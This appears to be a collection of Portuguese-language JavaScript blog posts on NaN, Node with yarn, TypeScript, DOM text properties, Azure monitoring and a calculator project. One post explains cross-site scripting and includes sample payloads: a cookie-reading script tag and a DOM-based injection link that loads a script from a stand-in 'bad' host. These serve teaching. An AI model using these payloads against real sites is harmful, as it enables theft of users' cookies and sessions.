NaN e typeof.

Uma análise da propriedade NaN e por que ela é considerada um tipo de número.

typeof NaN
//'number'

Primeiramente, NaN é uma propriedado do objeto global, e não uma palavra-chave (diferente de true, false, null, entre outros). O valor de NaN é o mesmo que o valor de Number.NaN:

NaN; // NaN
Number.NaN; // NaN

Existem várias formas em que o NaN pode acontecer:

  • Divisão de zero por zero;
  • Dividindo um infinito por um infinito;
  • Multiplicação de um infinito por um zero;
  • Qualquer operação na qual NaN é um operando;
  • Convertendo uma String não numérica ou indefinida em um número.

Por que o tipo NaN retorna “number”?

typeof NaN; // "number"

O padrão ECMAScript indica que os números devem ser dados de ponto flutuante IEEE-754. Isso inclui Infinity, -Infinity e também, NaN. Por definição, NaN é o valor de retorno de operações que possuem um resultado numérico indefinido. Daí porque, em JavaScript, além de fazer parte do objeto global, também faz parte do objeto Number: Number.NaN.

Ainda é um tipo de dados numérico, mas é indefinido como um número real. O NaN também representa qualquer número fora do domínio de definição do ECMAScript.

A aritmética computacional é limitada:

Considere a seguinte operação:

(3.2317006071311 * 10e616) / (3.2317006071311 * 10e616); // NaN
Como a Wikipedia declara:

“A aritmética computacional não pode operar diretamente em números reais, mas apenas em um subconjunto finito de números racionais, limitado pelo número de bits usados para armazená-los.”

Na aritmética ordinária, 3,2317006071311 * 10616 é um número real finito, mas, pelos padrões ECMAScript, é simplesmente muito grande (ou seja, consideravelmente maior que Number.MAX_VALUE) e, portanto, é representado como Infinity.

A tentativa de dividir Infinity por Infinity produzirá NaN. Na aritmética comum, ambos são operandos finitos, a operação claramente é igual a 1. Neste caso, o NaN está no lugar de um numero real que não pôde ser computado devido ao tamanho dos operandos. Pareceria contra-intuitivo se os tipos NaN retornassem algo diferente de “número”. Afinal, no exemplo dado, NaN simplesmente representa um valor que não pôde ser determinado pela aritmética computacional.

NaN é desordenado:

De acordo com o padrão de ponto flutuante IEEE 754, a comparação com NaN sempre retorna um resultado não ordenado. Ou seja, NaN não é igual a, maior que ou menor que qualquer coisa, incluindo ele mesmo:

NaN < 1;    // false
NaN > 1;    // false
NaN == NaN; // false
// Mas ainda podemos verificar por NaN:
isNaN(NaN); // true

É por isso que você não pode determinar se um dado valor é NaN comparando-o com NaN e, em vez disso, deve usar a função isNaN().

Não surpreende, portanto, que a implementação nativa da função isNaN() possa ser simplesmente substituída por:

// Implementacao Nativa
function isNaN(x) {
  x = Number(x);
  // se x é NaN, NaN! = NaN é verdadeiro, senão é falso
  return x != x;
}

A implementação nativa de isNaN() retorna true mesmo se o valor for indefinido ou se o valor não puder ser coagido em um tipo de dados de número primitivo. Existem algumas bibliotecas que apresentam as suas próprias implementações. Por exemplo, a do Underscore é a seguinte:

_.isNaN = function(obj) {
  // `NaN` é o único valor para o qual` === `não é reflexivo.
  return obj !== obj;
};

Mas, seu comportamento não é o mesmo que a função isNaN() nativa:

let x;            // undefined
isNaN(x);         // true
isNaN(undefined); // true
isNaN("a");       // true
Comparado ao Underscore:
let x;              // undefined
_.isNaN(x);         // false
_.isNaN(undefined); // false
_.isNaN("a");       // false

Booleanos não são NaNs:

Considerando o código a seguir:

isNaN(true);  // false
isNaN(false); // false

Isso ocorre porque os valores booleanos são considerados e implementados como valores numéricos com um único dígito binário (ou seja, bit), portanto, eles são coagidos em suas respectivas representações de bits:

Number(true);  // 1
Number(false); // 0

Gostou deste artigo? Comente abaixo!

Cross-Site Scripting (XSS), você sabe o que é?

O cross-site scripting (XSS) é um ataque de injeção de código que permite que um invasor execute códigos JavaScript mal-intencionados no navegador da vítima.

O atacante explora uma vulnerabilidade em algum site que a vítima visita, com o objetivo de inserir código JavaScript malicioso no navegador. Para que o ataque possa ocorrer é necessário um formulário que permita que o atacante interaja, como campos de busca, inserção de comentários, entre outros campos de preenchimento. A única maneira de o invasor inserir e executar o JavaScript no navegador da vítima é injetá-lo diretamente em uma das áginas que o usuário baixa do site. Isso acontece se o site inclui diretamente a entrada do usuário em suas páginas e o invasor pode inserir uma string que será tratada como código pelo navegador da vítima.

Existem três tipos de Cross-Site Script, são eles:

Reflected XSS:

Nesta vulnerabilidade, a exploração envolve a elaboração de uma solicitação com código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. Neste ataque, um campo de busca, por exemplo, pode ser utilizado para injetar o código malicioso. O código HTML inserido é entregue pela aplicação e devolvido como parte integrante do código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador do próprio usuário.

Exemplo:

http://www.vul.site/bemvindo.html?name=ciclano

echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';

Considere que um usuário mal intencionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo:

http://www.example.com/bemvindo.html?name=<script>alert(document.cookie)</script>

Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.

Stored XSS:

Exige que o usuário mal intencionado possua uma forma de escrever dados diretamente na página, como por exemplo campos de comentários, campos de preenchimento, entre outros. É muito perigoso, pois mantém os dados armazenados permanentemente na página, fazendo com que todos os usuários que visitem esa área específica executem o script malicioso sempre que a acessem.

Exemplo:

Caso um site permita a inserção de código HTML integralmente nos campos de entrada do nome e sobrenome no formulário para atualização das preferências do usuário:

<script>alert(document.cookie)</script>

Nesta forma, quando for executada uma busca pelos usuários cadastrados, o código HTML acima será executado assim que o usuário aparecer na relação dos resultados de busca.

DOM Based:

Este ataque permite a modificação de propriedades dos objetos do DOM diretamente no navegador da vítima. Não depende de nenhuma interação por parte do servidor que hospeda a página web. Utiliza-se diretamente de vulnerabilidades existentes na interpretação do código HTML no navegador.

Exemplo:

<script>
let estilo = ‘style’ + location.hash + ‘.css’;
document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);
</script>

Agora, como exemplo, um link construído de maneira a carreggar um código arbitrário, conforme exemplo abaixo:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

Quando a vítima executar no navegador, a referência será utilizada para inserir um script mal-intencionado na página web.

Referências: https://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Gostou deste artigo? Deixe seu comentário abaixo!

Criando aplicação node com yarn

Recentemente comecei a estudar node para o desenvolvimento de API e notei que a curva de aprendizado é muito rápida, se souber quais bibliotecas utilizar o desenvolvimento fica extremamente rápido. Nesse artigo vou mostrar como iniciar um projeto node usando o yarn e como criar uma rota com o express.

Vantagens de se usar o yarn:

O yarn funciona que nem o npm, ou seja é um gerenciador de pacotes. Mas ele tem um diferencial, ele armazena o cache do que já foi baixado, ao meu ver pra quem baixa muitas dependências, isso agiliza muito o processo e por isso eu vejo como vantajoso, mas essa é minha opinião, claro.

Para começar vamos instalar o node e o yarn baixando:

Feito a instalação, vamos testar para ver se tudo foi instalado corretamente. Para isso abra o terminal se estiver em sistemas baseados em unix ou o bom e velho CMD se estiver no Windows e digite os seguintes comandos:

node -v
yarn -v

O resultado deve ser igual o da foto mostrando a versão de ambos. Feito isso vamos começar a brincadeira iniciando o projeto, para isso cria uma pasta com o nome de sua escolha, a minha será “iniciando_com_node” lembre-se: evite usar espaços de preferencia a “spider case” ou a “camelcase”. Depois, acesse a pasta criada via linha de comando e dentro dela execute o seguinte comando:

touch index.js

Esse comando cria um arquivo.

yarn init -y

O comando “yarn init -y” inicia o yarn e aceita todas as opções dele, as mesmas podem ser alteradas depois.

Quando iniciarmos o yarn, podemos acessar a pasta criada no editor de texto de sua preferencia. Eu recomendo o VSCode.

Abrir o arquivo “package.json”, que é o arquivo que o comando anterior criou. Nele contém todas as informações que concordamos em aceitar sem nem ler, e nesse arquivo em formato json, elas podem ser editadas sem nenhum problema.

Vamos instalar o express na linha de comando. Execute o comando:

yarn add express

Após a instalação, vamos colar a mão na massa.

Com isso, nosso arquivo index.js ficará igual ao da foto abaixo:

Depois, para saber se nosso servidor express funcionou, basta executar o comando:

node index.js

Bom, agora vamos criar uma rota para ser acessada via navegador.

Ao final do arquivo adicione o seguinte código:

 app.get('/', (req, res) =>{
    res.send("Essa é a primeira rota criada com o express")
})

Vou explicar o que ele faz. Estou chamando o express para escutar tudo que vier de requisição com o get na roda / ou seja na rota raiz da aplicação, em seguida cria uma função anônima passando os parâmetros req e res que são esperados pelo express, pode ser qualquer nome mas para ser intuitivo usei req=request e res=response, no retorno dessa função pego o response e peço para ele deixar uma mensagem no navegador.

Pare  o servidor e execute o comando para subir ele de novo, para visualizarmos os resultados.

Bom espero que tenham gostado desse passo-a-passo de node, para criticas e sugestões entrem em contato no twitter: https://twitter.com/tinho361

Referência: Renato Rebouças

O mecanismo de JavaScript do Facebook que otimiza o React Native no Android

O mecanismo de código aberto JavaScript Hermes pode ser usado para melhorar o desempenho de todos os aplicativos móveis baseados em JavaScript.

O Facebook criou um mecanismo JavaScript, chamado Hermes, que melhora o desempenho de aplicativos React Native em dispositivos Android. Embora o mecanismo de código aberto seja otimizado para o React Native atualmente, ele pode ser usado para melhorar o desempenho de aplicativos móveis baseados em JavaScript em geral.

Especialmente, Hermes é voltada para a inicialização rápida, aproveitando o bytecode compacto e otimização estática antecipada. Em muitos casos, a ativação do Hermes melhora o tempo de inicialização, diminui o uso de memória e resulta em um tamanho de aplicativo menor.

O Hermes atualmente é um recurso opcional no React Native. A maioria dos produtos React Native do Facebook no Android já está utilizando o Hermes, incluindo o Crisis Response e o aplicativo complementar Oculus.

Recursos do mecanismo JavaScript Hermes:

As capacidades do Hermes incluem:

  • Em vez de analisar e compilar o JavaScript no dispositivo enquanto o usuário aguarda, esse trabalho pode ser feito no momento da criação.
  • A compilação à frente do tempo permite otimizações mais complexas.  Funções idênticas podem ser encontradas em um programa e desduplicadas. As cadeias de caracteres do código JavaScript podem ser agrupadas em um formato de armazenamento eficiente sem sobrecarga de tempo de execução.
  • Um pequeno tamanho de APK Android.
  • O bytecode pode ser mapeado na memória e carregado a partir da memória flash, conforme necessário.
  • O espaço de endereço virtual é alocado em partes por demanda, conforme necessário, evitando a necessidade de estimar o tamanho do heap e minimizar a sobrecarga. Memória livre pode ser retornada ao sistema operacional. Além disso, as pausas de coleta de lixo são minimizadas.
  • Implementa padrões JavaScript, com o Hermes visando o ECMAScript 2015, também conhecido como ES6. Os recursos JavaScript não usados com frequência nos aplicativos React Native foram omitidos.

O Facebook também abriu a integração do Hermes com o React Native, para que os desenvolvedores possam usar o Hermes imediatamente. A empresa planeja construir ferramentas de criação de perfil de tempo e memória para Hermes e adicionar suporte ao protocolo de depuração do Visual Studio Code.

Onde baixar o Hermes?

Você pode fazer o download do Hermes no GitHub. Instruções para ativar o uso do Hermes podem ser encontradas no site do React Native. (documentação)

 

TypeScript: Named Parameters

Em uma das últimas atualizações do core do TypeScript, a equipe de desenvolvimento fez refactoring em uma funcionalidade chamada Named Parameters.

Para ficar mais claro como funciona essa funcionalidade, imagine o seguinte cenário: “Você tem uma model com algumas propriedades string, number … e precisa passar dados para ela:

function rolandGarros(
    typeMatch?: number,
    typeLabel?: string,
    round?: number,
    roundLabel?: string,
    courtName?: string,
    durationInMinutes?: number
) {
    return console.log(typeMatch, typeLabel, round, roundLabel, courtName, durationInMinutes);
};

Chamando a função rolandGarros:

rolandGarros(3, 'Draws', 1, 'First Round', 'Philippe-Chatrier Court', 10)

Nesse cenário é muito comum um dev passar o valor de uma propriedade no lugar da outra. Para resolver isso nós podemos utilizar o Named Parameters.

Veja abaixo como ficaria a nossa função:

function rolandGarros(
{ typeMatch, typeLabel, round, roundLabel, courtName, durationInMinutes }: { typeMatch?: number; typeLabel?: string; round?: number; roundLabel?: string; courtName?: string; durationInMinutes?: number; } = {}) {
    return console.log(typeMatch, typeLabel, round, roundLabel, courtName, durationInMinutes);
};

E como nós podemos fazer uma chamada:

rolandGarros({ typeMatch: 3, typeLabel: ‘Draws’, round: 1, roundLabel: ‘First Round’, courtName: ‘Philippe-Chatrier Court’, durationInMinutes: 10 })

Note que dessa forma nós podemos passar o nome da propriedade junto com o seu valor, dessa forma fica bem mais simples de olharmos e passar o valor de cada um dos parâmetros da nossa function.

E agora, como o TypeScript 3.4 ajuda nessa conversão?

A pedido de um dev da comunidade, o pessoal adicionou a funcionalidade “Convert parameters to destructured object“, onde com apenas um click ele já altera a nossa função e os locais onde nós estamos chamado ela. Abaixo você tem um vídeo demonstrando esse passo:

Bem legal né?

Essa é uma das funcionalidades que eu acredito ajudar muito no nosso dia dia.

Espero que tenham gostado e até o próximo artigo pessoal 😉

Diferenças entre innerHTML, innerText e textContent.

Você conhece a diferença entre innerText, textContent e innerHTML?

São utilizados na manipulação do DOM (Document Object Model). Cada uma destas propriedades retorna algo, e descobriremos o que elas retornam neste artigo.

Diferenças:

Utilizando o exemplo a seguir, criaremos as propriedades:

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Exemplo innerHTML, innerText e textContent</title>
</head>
<body>
    <!-- Criando um parágrafo com formatação CSS inline nos textos -->
    <p id="textoHtml">
        <span style="display: none">Hakuna</span><strong>Matata</strong>
        <span style="visibility: hidden;">Mundo</span>
        <span>JS</span>
    </p>

    <script src="main.js"></script>
</body>
</html>

innerHTML:

Utilizado na manipulação do DOM, o innerHTML retorna todo o texto e o html que existem no elemento. Ele retorna todo o html existente, retornando também às tags, e não somente o texto.

// Criando uma variável que irá buscar o elemento HTML pelo Id
let exemploInner = document.getElementById("textoHtml");
        
console.log("------ USANDO innerHTML ------");
console.log(exemploInner.innerHTML);

Importante:

O innerHTML pode ser usado para inserção de tags, textos e imagens em uma página web, gerando um risco de segurança. Parecido com um cross-site scripting, mas inofensivo, pois o HTML5 especifica que uma tag <script> inserida via innerHTML em uma página web não deve ser executada. Entretanto, existem formas de executar JavaScript sem usar <script>, portanto, ainda há um risco de segurança ao utilizar o innerHTML. Por esta razão, recomenda-se não utilizar o innerHTML para inserção de texto puro.

innerText:

Já o innerText retorna apenas o texto. Ele ignora todas as tags HTML que estão dentro do elemento, mas ainda assim, “entende” o css do elemento, retornando apenas textos visíveis. Utiliza-se quando queremos buscar apenas o texto visível disponível no elemento.

console.log("------ USANDO innerText ------");
console.log(exemploInner.innerText);

textContent:

O textContent funciona de forma muito semelhante ao innerText, porém, retornando todo o conteúdo de texto, incluindo o texto oculto pelo css, bem como as quebras de linha (\n). Utilizamos o textContent quando queremos buscar todo o texto disponível no elemento.

console.log("------ USANDO textContent ------");
console.log(exemploInner.textContent);

Gostou deste artigo? Compartilhe com seus amigos e comente abaixo!

Node.js: monitorando APIs RESTful com o Application Insights

Dando continuidade aos meus artigos sobre Node.js no Azure, hoje eu irei demonstrar como monitorar uma API RESTful desenvolvida em node com TypeScript, utilizando o Application Insights.

Para aqueles que estão tendo o seu primeiro contanto com Application Insights nesse artigo, ele é um serviço de monitoramento de aplicações do Azure.

Com ele nós conseguimos medir a performance das nossas aplicações, extrair métricas de acesso por um range de tempo, detectar falhas … etc.

A ideia desse artigo será demonstrar como monitorar uma API RESTful desenvolvida em Node.js com TypeScript. Para isso, eu irei utilizar um gerador de APIs que eu desenvolvi utilizando essas tecnologias.

Caso tenha interesse em utilizar esse mesmo projeto, segue o seu link no portal NPM gerador-ts-api, e um vídeo passando alguns detalhes sobre essa estrutura:

Com o projeto OK, para os próximos passos será necessário ter uma conta no Azure. Caso você ainda não tenha uma, a Microsoft tem um programa chamado Visual Studio Dev Essentials que disponibiliza alguns benefícios como: créditos para serem utilizados no Azure, Visual Studio, acesso grátis por um período na Pluralsight… etc.

Caso tenha interesse em saber um pouco mais sobre esse programa, eu recomendo a leitura do seguinte artigo: Visual Studio Dev Essentials (Free).

Com o projeto criado e a sua subscription OK, vamos agora criar um novo serviço no Azure para monitorar a nossa aplicação. Para isso, acesse a sua conta, vá até-> Create resource -> Devops -> Application Insights e clique no botão Create.

Na próxima tela será necessário informar os dados da sua aplicação como: Nome, Resource Group … etc. Abaixo você tem uma imagem demonstrando como eu preenchi essa etapa para um evento presencial aqui em SP:

Clique em Create e aguarde a tela informando que o seu deploy está completo. Abaixo você tem uma imagem demonstrando essa etapa:

Agora clique no botão Go to resource -> vá até Overview e copie a sua instrumental Key:

Essa chave que irá vincular a nossa aplicação ao serviço no Azure.

Com a Key criada, vamos agora adicionar ela na nossa aplicação. Para isso, abra o seu projeto e siga os passos abaixo:

O primeiro passo será importar a biblioteca do applicationinsights para o nosso projeto. Para isso, abra um terminal, navegue até o seu projeto e execute o comando abaixo:

npm i applicationinsights --save

E no caso de estar seguindo esse passos em um projeto com TypeScript:

npm i @types/applicationinsights --save-dev

Agora abra o arquivo de inicialização do seu projeto, chame a biblioteca importada no passo anterior, em seguida inicialize ela com a sua instrumental Key:

const appInsights = require('applicationinsights'); 

appInsights.setup('<instrumentation_key>').start();

Caso esteja seguindo esses passos em um projeto gerado pelo o gerador-api-ts acima, basta abrir o arquivo startUp.ts e adicionar as linhas abaixo nele:

import * as appInsights from 'applicationinsights';
 // no inicio do arquivo
appInsights.setup('<instrumentation_key>').start();
 // no método middler

Monitorando a aplicação

Agora para que possamos monitorar a nossa aplicação, será necessário executar ela e abrir o serviço no Azure. Como eu estou utilizando a API gerado com o gerador mencionado acima, basta executar o comando npm run compile para gerar o dist do projeto e npm start para subir a aplicação.

Com o projeto rodando, vamos simular uma falha, uma chamada a uma rota/endpoint que não existe como por exemplo http://localhost:3050/api/v1/news.

Depois de alguns segundos acessando o portal conseguimos pegar o erro na chamada:

Como eu passei no inicio do artigo, nós podemos pegar métricas de acesso, performance … etc da nossa aplicação. Abaixo você tem um print demonstrando a performance da aplicação que eu estou utilizando nesse artigo:

Caso você tenha interesse em ver como retirar as outras métricas, como esse serviço funciona mais a fundo, eu recomendo a leitura do seguinte link na documentação da Microsoft: App-insights-overview.

Bom era isso pessoal, espero que tenham gostado e até um próximo artigo galera 😉

JavaScript Básico 17 – Projeto Calculadora (Parte 3)

Neste artigo, serão disponibilizados e explicados os códigos utilizados na parte três do nosso projeto de calculadora. Caso ainda não tenha visto as partes 1 e 2 do projeto da Calculadora, acesse e obtenha o HTML e CSS necessários para a criação do layout desta calculadora: JavaScript Básico 15 – Projeto Calculadora (Parte 1), JavaScript Básico 16 – Projeto Calculadora (Parte 2)

Dentro do nosso projeto, podemos começar criando uma função de soma, que irá receber dois valores como parâmetros e irá somá-los:

// Função que soma dois valores
function somarValores(valor1, valor2){
    return valor1 + valor2;
}

Após isso, criaremos uma função de subtração, que irá subtrair o segundo valor do primeiro valor:

// Função que subtrai o segundo valor do primeiro
function subtrairValores(valor1, valor2){
    return valor1 - valor2;
}

Criadas essas duas funções, podemos criar também uma função para multiplicar valores:

// Função que multiplica dois valores
function multiplcarValores(valor1, valor2){
    return valor1 * valor2;
}

Para criar a função de divisão, devemos:

  • Criar uma estrutura condicional;
  • Se o segundo valor for zero, retornar uma mensagem de erro.
// Função que divide o primeiro valor pelo segundo
function dividirValores(valor1, valor2){
    if(valor2 == 0){
        return "Erro, divisão por zero!";
    }else{
        return valor1 / valor2;
    }
}

 

Realizada a criação das funções, precisamos criar uma função específica para limpar os dados do input e os objetos de cálculo.

// Limpa todos os dados do input e objeto de calculo
function limparDados(){
    inputResultado.value = "";

    calculo.primeiroValor = 0;
    calculo.segundoValor = 0;
    calculo.funcaoParaCalcular = null;
}

Está gostando deste projeto? Deixe o seu comentário!
Bons estudos!

Calculadora (Parte 4)

Conheça o Phaser.JS, uma biblioteca de criação de jogos JavaScript

Você conhece a biblioteca Phaser.JS para criação de jogos em JavaScript?

Phaser é uma biblioteca para criação de jogos que foi idealizada pela Photon Storm. Com ela, podemos criar jogos que rodam tanto em ambiente mobile quanto desktops. Ela roda nos principais navegadores atuais de desktop. Em dispositivos móveis, é suportado no Chrome mobile, no navegador Safari (no IOS5 para cima). Acesse a biblioteca: phaser.io

Principais recursos:

O Phaser não utiliza nenhuma prática interna de orientação a objeto, não possui heranças de código e componentes. Mas você pode alterar as funções do Phaser.

Para renderização de gráficos, o Phaser utiliza o Pixi.js. Nos jogos, se o navegador suportar WebGL, o usuário terá uma melhor experiência. Os jogos em HTML5 caminham para o futuro de WebGL disponível em dispositivos móveis. Para isso acontecer, é apenas uma questão de tempo.

O carregamento do Phaser suporta:

  1. Imagens;

  2. Sprite Sheets;

  3. Texture Atlases;

  4. Arquivos de áudio;

  5. Arquivos de dados;

  6. Arquivos JavaScript;

  7. Tilemaps;

  8. Fontes Bitmap.

Áudio:

Com a WebAudio API, podemos ter uma integração apropriada de áudio, com múltiplas rotas, canais e os mais variados tipos de efeitos.

Inputs:

Multi-Touch, Keyboard, Pointer e Mouse: O Phaser suporta os mais variados tipos de inputs, como toques na tela, cliques de mouse, teclas pressionadas, entre outros.

Continue lendo “Conheça o Phaser.JS, uma biblioteca de criação de jogos JavaScript”

JavaScript Básico 16 – Projeto Calculadora (Parte 2)

Neste artigo, serão disponibilizados e explicados os códigos utilizados na parte dois do nosso projeto de calculadora. Caso ainda não tenha visto a Parte 1 do projeto da Calculadora, acesse e obtenha o HTML e CSS necessários para a criação do layout desta calculadora: JavaScript Básico 15 – Projeto Calculadora (Parte 1)

Dentro de nosso projeto, precisamos criar uma variável para mostrar os elementos no nosso display.

// Criando uma variável para capturar o elemento
// do HTML pelo Id. Este elemento mostrará os valores no display.
let inputResultado = document.getElementById("inputDisplayResultado");

Após isso, criaremos um objeto com os dados e a função para calcular.

// Objeto para mantermos controle dos dados e funcão para calcular.
let calculo = {
    primeiroValor: 0,
    segundoValor: 0,
    funcaoParaCalular: null
}

Utilizando o window.addEventListener, ao carregar a janela, inicializaremos todos os métodos e variáveis criados:

// Ao carregar a janela, inicializa os métodos e variaveis
window.addEventListener("load", function () {
    atribuirEventos();
})

Agora, precisamos de uma função para a inserção de números na tela. Para isso:

  • Utilizaremos o inputResultado.value para exibir os valores preenchidos pelo usuário no display.
  • Se este valor não for um número, ele será substituído pelo próximo número clicado.
  • Se o valor for zero, também será substituído pelo próximo número clicado.
  • Se o valor for diferente de zero e for um número, a calculadora adicionará este número ao input, para que as operações sejam realizadas.
// Adiciona o número na tela
function inserirNumero() {
    // Se o valor na tela não for um número,
    // substitui pelo número/valor do botão
    if (isNaN(inputResultado.value)) {
        inputResultado.value = event.target.textContent;
        // Senão, adiciona o texto junto com o existente
    } else {
        // Se o valor na tela for zero, substitui o valor na tela pelo número clicado
        if (inputResultado.value == 0) {
            inputResultado.value = event.target.textContent;
        // Senão adiciona o número ao input para criar digitos maiores que 0
        } else {
            inputResultado.value += event.target.textContent;
        }
    }
}

Adicionaremos a função inserirNumero no evento de click de cada um dos botões de números da calculadora, para que, assim que clicados, o valor do respectivo botão apareça na tela do usuário.

//Atribui os eventos a todos os botões da calculadora
function atribuirEventos() {
    //Atribui eventos aos números
    document.getElementById("btnValor0").addEventListener("click", inserirNumero);
    document.getElementById("btnValor1").addEventListener("click", inserirNumero);
    document.getElementById("btnValor2").addEventListener("click", inserirNumero);
    document.getElementById("btnValor3").addEventListener("click", inserirNumero);
    document.getElementById("btnValor4").addEventListener("click", inserirNumero);
    document.getElementById("btnValor5").addEventListener("click", inserirNumero);
    document.getElementById("btnValor6").addEventListener("click", inserirNumero);
    document.getElementById("btnValor7").addEventListener("click", inserirNumero);
    document.getElementById("btnValor8").addEventListener("click", inserirNumero);
    document.getElementById("btnValor9").addEventListener("click", inserirNumero);
}

Está gostando deste projeto? Deixe o seu comentário!
Bons estudos!

Calculadora (Parte 3)